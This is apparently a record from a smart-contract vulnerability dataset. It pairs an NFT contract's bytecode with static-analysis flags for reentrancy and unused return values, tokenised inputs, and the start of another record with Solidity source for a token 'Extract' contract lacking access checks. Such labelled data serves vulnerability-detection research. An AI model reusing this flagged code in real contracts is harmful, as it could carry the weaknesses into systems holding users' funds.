ffffffffffffffffffffffffffffffffffffff16610ead6116ef565b73ffffffffffffffffffffffffffffffffffffffff1614610f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efa90613c6b565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610f4e573d6000803e3d6000fd5b5050565b610f6d8383836040518060200160405280600081525061186d565b505050565b610f83610f7d611c19565b82611cda565b610fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb990613d6b565b60405180910390fd5b610fcb8161201f565b50565b6000610fd8610d6f565b8210611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090613d4b565b60405180910390fd5b60088281548110611053577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b61106d611c19565b73ffffffffffffffffffffffffffffffffffffffff1661108b6116ef565b73ffffffffffffffffffffffffffffffffffffffff16146110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d890613c6b565b60405180910390fd5b60001515600e60009054906101000a900460ff16151514611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e90613cab565b60405180910390fd5b80600d908051906020019061114d929190612feb565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190613c0b565b60405180910390fd5b80915050919050565b61120b611c19565b73ffffffffffffffffffffffffffffffffffffffff166112296116ef565b73ffffffffffffffffffffffffffffffffffffffff161461127f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127690613c6b565b60405180910390fd5b60005b82829050811015611345576001600b60008585858181106112cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112e19190613211565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061133d9061409e565b915050611282565b505050565b600381565b611357611c19565b73ffffffffffffffffffffffffffffffffffffffff166113756116ef565b73ffffffffffffffffffffffffffffffffffffffff16146113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613c6b565b60405180910390fd5b80600a60146101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145090613beb565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114a8611c19565b73ffffffffffffffffffffffffffffffffffffffff166114c66116ef565b73ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151390613c6b565b60405180910390fd5b611526600061213c565b565b611530611c19565b73ffffffffffffffffffffffffffffffffffffffff1661154e6116ef565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90613c6b565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b6115c9611c19565b73ffffffffffffffffffffffffffffffffffffffff166115e76116ef565b73ffffffffffffffffffffffffffffffffffffffff161461163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490613c6b565b60405180910390fd5b6000611647610d6f565b90506103e882826116589190613e70565b1115611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090613d0b565b60405180910390fd5b60005b828110156116cc576116b93382846116b49190613e70565b611b15565b80806116c49061409e565b91505061169c565b505050565b600a60149054906101000a900460ff1681565b66470de4df82000081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546117289061403b565b80601f01602080910402602001604051908101604052809291908181526020018280546117549061403b565b80156117a15780601f10611776576101008083540402835291602001916117a1565b820191906000526020600020905b81548152906001019060200180831161178457829003601f168201915b5050505050905090565b6117b3611c19565b73ffffffffffffffffffffffffffffffffffffffff166117d16116ef565b73ffffffffffffffffffffffffffffffffffffffff1614611827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181e90613c6b565b60405180910390fd5b6001600e60006101000a81548160ff021916908315150217905550565b61185661184f611c19565b8383612202565b5050565b600e60009054906101000a900460ff1681565b61187e611878611c19565b83611cda565b6118bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b490613d2b565b60405180910390fd5b6118c98484848461236f565b50505050565b60606118da82611bad565b611919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191090613c8b565b60405180910390fd5b60006119236123cb565b90506000815111611943576040518060200160405280600081525061196e565b8061194d8461245d565b60405160200161195e929190613963565b6040516020818303038152906040525b915050919050565b600c60009054906101000a900460ff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611a25611c19565b73ffffffffffffffffffffffffffffffffffffffff16611a436116ef565b73ffffffffffffffffffffffffffffffffffffffff1614611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9090613c6b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0090613a8b565b60405180910390fd5b611b128161213c565b50565b611b2f82826040518060200160405280600081525061260a565b5050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611ba65750611ba582612665565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611c9483611151565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611ce582611bad565b611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90613b6b565b60405180910390fd5b6000611d2f83611151565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611d9e57508373ffffffffffffffffffffffffffffffffffffffff16611d8684610a2e565b73ffffffffffffffffffffffffffffffffffffffff16145b80611daf5750611dae8185611989565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611dd882611151565b73ffffffffffffffffffffffffffffffffffffffff1614611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2590613acb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9590613b0b565b60405180910390fd5b611ea9838383612747565b611eb4600082611c21565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f049190613f51565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f5b9190613e70565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461201a838383612757565b505050565b600061202a82611151565b905061203881600084612747565b612043600083611c21565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120939190613f51565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461213881600084612757565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226890613b2b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161236291906139ee565b60405180910390a3505050565b61237a848484611db8565b6123868484848461275c565b6123c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bc90613a6b565b60405180910390fd5b50505050565b6060600d80546123da9061403b565b80601f01602080910402602001604051908101604052809291908181526020018280546124069061403b565b80156124535780601f1061242857610100808354040283529160200191612453565b820191906000526020600020905b81548152906001019060200180831161243657829003601f168201915b5050505050905090565b606060008214156124a5576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612605565b600082905060005b600082146124d75780806124c09061409e565b915050600a826124d09190613ec6565b91506124ad565b60008167ffffffffffffffff811115612519577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561254b5781602001600182028036833780820191505090505b5090505b600085146125fe576001826125649190613f51565b9150600a8561257391906140e7565b603061257f9190613e70565b60f81b8183815181106125bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856125f79190613ec6565b945061254f565b8093505050505b919050565b61261483836128f3565b612621600084848461275c565b612660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265790613a6b565b60405180910390fd5b505050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061273057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612740575061273f82612acd565b5b9050919050565b612752838383612b37565b505050565b505050565b600061277d8473ffffffffffffffffffffffffffffffffffffffff16612c4b565b156128e6578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026127a6611c19565b8786866040518563ffffffff1660e01b81526004016127c894939291906139a2565b602060405180830381600087803b1580156127e257600080fd5b505af192505050801561281357506040513d601f19601f82011682018060405250810190612810919061344f565b60015b612896573d8060008114612843576040519150601f19603f3d011682016040523d82523d6000602084013e612848565b606091505b5060008151141561288e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288590613a6b565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506128eb565b600190505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295a90613c2b565b60405180910390fd5b61296c81611bad565b156129ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a390613aeb565b60405180910390fd5b6129b860008383612747565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a089190613e70565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612ac960008383612757565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612b42838383612c6e565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b8557612b8081612c73565b612bc4565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612bc357612bc28382612cbc565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c0757612c0281612e29565b612c46565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612c4557612c448282612f6c565b5b5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612cc9846113e8565b612cd39190613f51565b9050600060076000848152602001908152602001600020549050818114612db8576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612e3d9190613f51565b9050600060096000848152602001908152602001600020549050600060088381548110612e93577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612edb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612f77836113e8565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b828054612ff79061403b565b90600052602060002090601f0160209004810192826130195760008555613060565b82601f1061303257805160ff1916838001178555613060565b82800160010185558215613060579182015b8281111561305f578251825591602001919060010190613044565b5b50905061306d9190613071565b5090565b5b8082111561308a576000816000905550600101613072565b5090565b60006130a161309c84613dcb565b613da6565b9050828152602081018484840111156130b957600080fd5b6130c4848285613ff9565b509392505050565b60006130df6130da84613dfc565b613da6565b9050828152602081018484840111156130f757600080fd5b613102848285613ff9565b509392505050565b600081359050613119816148be565b92915050565b60008083601f84011261313157600080fd5b8235905067ffffffffffffffff81111561314a57600080fd5b60208301915083602082028301111561316257600080fd5b9250929050565b600081359050613178816148d5565b92915050565b60008135905061318d816148ec565b92915050565b6000815190506131a2816148ec565b92915050565b600082601f8301126131b957600080fd5b81356131c984826020860161308e565b91505092915050565b600082601f8301126131e357600080fd5b81356131f38482602086016130cc565b91505092915050565b60008135905061320b81614903565b92915050565b60006020828403121561322357600080fd5b60006132318482850161310a565b91505092915050565b6000806040838503121561324d57600080fd5b600061325b8582860161310a565b925050602061326c8582860161310a565b9150509250929050565b60008060006060848603121561328b57600080fd5b60006132998682870161310a565b93505060206132aa8682870161310a565b92505060406132bb868287016131fc565b9150509250925092565b600080600080608085870312156132db57600080fd5b60006132e98782880161310a565b94505060206132fa8782880161310a565b935050604061330b878288016131fc565b925050606085013567ffffffffffffffff81111561332857600080fd5b613334878288016131a8565b91505092959194509250565b6000806040838503121561335357600080fd5b60006133618582860161310a565b925050602061337285828601613169565b9150509250929050565b6000806040838503121561338f57600080fd5b600061339d8582860161310a565b92505060206133ae858286016131fc565b9150509250929050565b600080602083850312156133cb57600080fd5b600083013567ffffffffffffffff8111156133e557600080fd5b6133f18582860161311f565b92509250509250929050565b60006020828403121561340f57600080fd5b600061341d84828501613169565b91505092915050565b60006020828403121561343857600080fd5b60006134468482850161317e565b91505092915050565b60006020828403121561346157600080fd5b600061346f84828501613193565b91505092915050565b60006020828403121561348a57600080fd5b600082013567ffffffffffffffff8111156134a457600080fd5b6134b0848285016131d2565b91505092915050565b6000602082840312156134cb57600080fd5b60006134d9848285016131fc565b91505092915050565b6134eb81613f85565b82525050565b6134fa81613f97565b82525050565b600061350b82613e2d565b6135158185613e43565b9350613525818560208601614008565b61352e816141d4565b840191505092915050565b600061354482613e38565b61354e8185613e54565b935061355e818560208601614008565b613567816141d4565b840191505092915050565b600061357d82613e38565b6135878185613e65565b9350613597818560208601614008565b80840191505092915050565b60006135b0601d83613e54565b91506135bb826141e5565b602082019050919050565b60006135d3602b83613e54565b91506135de8261420e565b604082019050919050565b60006135f6603283613e54565b91506136018261425d565b604082019050919050565b6000613619602683613e54565b9150613624826142ac565b604082019050919050565b600061363c602083613e54565b9150613647826142fb565b602082019050919050565b600061365f602583613e54565b915061366a82614324565b604082019050919050565b6000613682601c83613e54565b915061368d82614373565b602082019050919050565b60006136a5602483613e54565b91506136b08261439c565b604082019050919050565b60006136c8601983613e54565b91506136d3826143eb565b602082019050919050565b60006136eb601f83613e54565b91506136f682614414565b602082019050919050565b600061370e602c83613e54565b91506137198261443d565b604082019050919050565b6000613731602a83613e54565b915061373c8261448c565b604082019050919050565b6000613754601883613e54565b915061375f826144db565b602082019050919050565b6000613777603883613e54565b915061378282614504565b604082019050919050565b600061379a602a83613e54565b91506137a582614553565b604082019050919050565b60006137bd602983613e54565b91506137c8826145a2565b604082019050919050565b60006137e0602083613e54565b91506137eb826145f1565b602082019050919050565b6000613803602c83613e54565b915061380e8261461a565b604082019050919050565b6000613826602083613e54565b915061383182614669565b602082019050919050565b6000613849602f83613e54565b915061385482614692565b604082019050919050565b600061386c602783613e54565b9150613877826146e1565b604082019050919050565b600061388f602183613e54565b915061389a82614730565b604082019050919050565b60006138b2601b83613e54565b91506138bd8261477f565b602082019050919050565b60006138d5601f83613e54565b91506138e0826147a8565b602082019050919050565b60006138f8603183613e54565b9150613903826147d1565b604082019050919050565b600061391b602c83613e54565b915061392682614820565b604082019050919050565b600061393e603083613e54565b91506139498261486f565b604082019050919050565b61395d81613fef565b82525050565b600061396f8285613572565b915061397b8284613572565b91508190509392505050565b600060208201905061399c60008301846134e2565b92915050565b60006080820190506139b760008301876134e2565b6139c460208301866134e2565b6139d16040830185613954565b81810360608301526139e38184613500565b905095945050505050565b6000602082019050613a0360008301846134f1565b92915050565b60006020820190508181036000830152613a238184613539565b905092915050565b60006020820190508181036000830152613a44816135a3565b9050919050565b60006020820190508181036000830152613a64816135c6565b9050919050565b60006020820190508181036000830152613a84816135e9565b9050919050565b60006020820190508181036000830152613aa48161360c565b9050919050565b60006020820190508181036000830152613ac48161362f565b9050919050565b60006020820190508181036000830152613ae481613652565b9050919050565b60006020820190508181036000830152613b0481613675565b9050919050565b60006020820190508181036000830152613b2481613698565b9050919050565b60006020820190508181036000830152613b44816136bb565b9050919050565b60006020820190508181036000830152613b64816136de565b9050919050565b60006020820190508181036000830152613b8481613701565b9050919050565b60006020820190508181036000830152613ba481613724565b9050919050565b60006020820190508181036000830152613bc481613747565b9050919050565b60006020820190508181036000830152613be48161376a565b9050919050565b60006020820190508181036000830152613c048161378d565b9050919050565b60006020820190508181036000830152613c24816137b0565b9050919050565b60006020820190508181036000830152613c44816137d3565b9050919050565b60006020820190508181036000830152613c64816137f6565b9050919050565b60006020820190508181036000830152613c8481613819565b9050919050565b60006020820190508181036000830152613ca48161383c565b9050919050565b60006020820190508181036000830152613cc48161385f565b9050919050565b60006020820190508181036000830152613ce481613882565b9050919050565b60006020820190508181036000830152613d04816138a5565b9050919050565b60006020820190508181036000830152613d24816138c8565b9050919050565b60006020820190508181036000830152613d44816138eb565b9050919050565b60006020820190508181036000830152613d648161390e565b9050919050565b60006020820190508181036000830152613d8481613931565b9050919050565b6000602082019050613da06000830184613954565b92915050565b6000613db0613dc1565b9050613dbc828261406d565b919050565b6000604051905090565b600067ffffffffffffffff821115613de657613de56141a5565b5b613def826141d4565b9050602081019050919050565b600067ffffffffffffffff821115613e1757613e166141a5565b5b613e20826141d4565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613e7b82613fef565b9150613e8683613fef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ebb57613eba614118565b5b828201905092915050565b6000613ed182613fef565b9150613edc83613fef565b925082613eec57613eeb614147565b5b828204905092915050565b6000613f0282613fef565b9150613f0d83613fef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f4657613f45614118565b5b828202905092915050565b6000613f5c82613fef565b9150613f6783613fef565b925082821015613f7a57613f79614118565b5b828203905092915050565b6000613f9082613fcf565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561402657808201518184015260208101905061400b565b83811115614035576000848401525b50505050565b6000600282049050600182168061405357607f821691505b6020821081141561406757614066614176565b5b50919050565b614076826141d4565b810181811067ffffffffffffffff82111715614095576140946141a5565b5b80604052505050565b60006140a982613fef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156140dc576140db614118565b5b600182019050919050565b60006140f282613fef565b91506140fd83613fef565b92508261410d5761410c614147565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f416c6c6f77206c6973742073616c65206973206e6f7420616374697665000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f507572636861736520776f756c6420657863656564206d617820746f6b656e73600082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f45746865722076616c75652073656e74206973206e6f7420636f727265637400600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f5072696d6172792073616c65206d7573742062652061637469766520746f206d60008201527f696e7420746f6b656e7300000000000000000000000000000000000000000000602082015250565b7f53656e646572206e6f74206f6e20616c6c6f77206c6973740000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4d65746164617461206973206c6f636b656421206e6f2075706461746573207060008201527f6f737369626c6500000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565646564206d617820746f6b656e2070757263686173650000000000600082015250565b7f5265736572766520776f756c6420657863656564206d617820746f6b656e7300600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000602082015250565b6148c781613f85565b81146148d257600080fd5b50565b6148de81613f97565b81146148e957600080fd5b50565b6148f581613fa3565b811461490057600080fd5b50565b61490c81613fef565b811461491757600080fd5b5056fea2646970667358221220c5022d13deb93ad237e51c933f33ebf4bb55d364d2665427ab3b3fef71420d1d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2629, 2546, 2620, 27717, 2620, 2063, 21619, 2581, 2094, 21057, 2581, 21619, 2050, 2692, 2581, 2549, 18939, 2629, 3540, 3540, 22907, 16086, 2620, 14526, 2497, 2683, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,636
0x9575fAeb9c7fF16b509d228C20972b8D88508b0B
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IVault.sol"; interface IVisor { function delegatedTransferERC20(address token, address to, uint256 amount) external; } contract Extract { using SafeERC20 for IERC20; using SafeMath for uint256; IVault public hypervisor; address public owner; uint256 public bonus; IERC20 public bonusToken; constructor( address _hypervisor, address _bonusToken, address _owner ) { hypervisor = IVault(_hypervisor); bonusToken = IERC20(_bonusToken); owner = _owner; } function extractTokens( uint256 shares, address to, address from ) external { IVisor(from).delegatedTransferERC20(address(from), address(this), shares); uint256 withdrawShares = shares.div(2); IVault(hypervisor).withdraw(withdrawShares, to, address(this)); bonusToken.safeTransfer(to, bonus.mul(shares).div(IERC20(address(hypervisor)).totalSupply())); } function setBonus(uint256 _bonus) external onlyOwner { bonus = _bonus; } modifier onlyOwner { require(msg.sender == owner, "only owner"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { 